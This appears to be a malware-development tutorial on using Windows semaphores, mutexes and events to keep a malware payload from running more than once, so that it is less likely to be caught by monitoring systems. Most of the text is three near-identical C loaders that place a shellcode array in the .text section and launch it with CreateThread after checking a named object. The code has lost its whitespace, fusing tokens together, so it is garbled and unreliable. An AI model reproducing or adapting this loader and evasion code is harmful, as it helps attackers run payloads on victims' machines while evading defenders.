It's crucial to control what actions a malware can take to avoid detection. The more active a malware is, the higher the chance of it being caught by monitoring systems.
Windows Synchronization Objects are handy for managing how a malware payload runs. These tools help coordinate access to shared resources by multiple threads or processes. By using them, we can regulate how many times the malware payload runs on a system.
There are different types, such as semaphores, mutexes, and events. They all essentially do the same thing: manage access to shared resources.
Semaphores
Semaphores are like traffic signals for resources. They can either allow or deny access, depending on their value. We have binary ones (yes or no) and counting ones (multiple resources).
For controlling malware execution, we can create a named semaphore each time the payload runs. If the semaphore already exists, it means the payload is running, so we shouldn't run it again.
#include<Windows.h>#include<stdio.h>#definePAYLOAD_CONTROL_STRING"MaldevAcademy"// for the sake of simplicity, the payload is stored in the `.text` section // so that we dont have to copy it to a rwx / rx section at runtime#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {//shellcode};/*https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createsemaphorea" If the named semaphore object existed before the function call,the function returns a handle to the existing object and GetLastError returns ERROR_ALREADY_EXISTS. "*/BOOL IsPayloadRunning() { HANDLE hSemaphore =CreateSemaphoreA(NULL,10,10, PAYLOAD_CONTROL_STRING);if (hSemaphore !=NULL&&GetLastError()== ERROR_ALREADY_EXISTS)returnTRUE;elsereturnFALSE;}intmain() {if (!IsPayloadRunning()) {printf("[i] Running Payload [1] ... ");CreateThread(NULL,NULL, Payload,NULL,NULL,NULL);printf("[+] DONE \n"); }if (!IsPayloadRunning()) {printf("[i] Running Payload [2] ... ");CreateThread(NULL,NULL, Payload,NULL,NULL,NULL);printf("[+] DONE \n"); }else {printf("[+] Payload Is Already Running \n"); }printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
Mutexes
Mutexes are like bouncers for resources. They make sure only one thread or process accesses a resource at a time, avoiding conflicts or data mess-ups.
We create a named mutex using CreateMutexA. If it's locked, a thread waits until it's free to access the resource.
#include<Windows.h>#include<stdio.h>#definePAYLOAD_CONTROL_STRING"MaldevAcademy"// for the sake of simplicity, the payload is stored in the `.text` section // so that we dont have to copy it to a rwx / rx section at runtime#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {//shellcode};/*https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa" If the mutex is a named mutex and the object existed before this function call,the return value is a handle to the existing object, and the GetLastError function returns ERROR_ALREADY_EXISTS. "*/BOOL IsPayloadRunning() { HANDLE hMutex =CreateMutexA(NULL,FALSE, PAYLOAD_CONTROL_STRING);if (hMutex !=NULL&&GetLastError()== ERROR_ALREADY_EXISTS)returnTRUE;elsereturnFALSE;}intmain() {if (!IsPayloadRunning()) {printf("[i] Running Payload [1] ... ");CreateThread(NULL,NULL, Payload,NULL,NULL,NULL);printf("[+] DONE \n"); }if (!IsPayloadRunning()) {printf("[i] Running Payload [2] ... ");CreateThread(NULL,NULL, Payload,NULL,NULL,NULL);printf("[+] DONE \n"); }else {printf("[+] Payload Is Already Running \n"); }printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
Events
Events are like triggers for actions. They can be manual or automatic and help coordinate when threads or processes run.
We can use CreateEventA to set up events in a program.
#include<Windows.h>#include<stdio.h>#definePAYLOAD_CONTROL_STRING"MaldevAcademy"#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {//shellcode};/*https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventa" If the named event object existed before the function call,the function returns a handle to the existing object and GetLastError returns ERROR_ALREADY_EXISTS. "*/BOOL IsPayloadRunning() { HANDLE hEvent =CreateEventA(NULL,FALSE,FALSE, PAYLOAD_CONTROL_STRING);if (hEvent !=NULL&&GetLastError()== ERROR_ALREADY_EXISTS)returnTRUE;elsereturnFALSE;}intmain() {if (!IsPayloadRunning()) {printf("[i] Running Payload [1] ... ");CreateThread(NULL,NULL, Payload,NULL,NULL,NULL);printf("[+] DONE \n"); }if (!IsPayloadRunning()) {printf("[i] Running Payload [2] ... ");CreateThread(NULL,NULL, Payload,NULL,NULL,NULL);printf("[+] DONE \n"); }else {printf("[+] Payload Is Already Running \n"); }printf("[#] Press <Enter> To Quit ... ");getchar();return0;}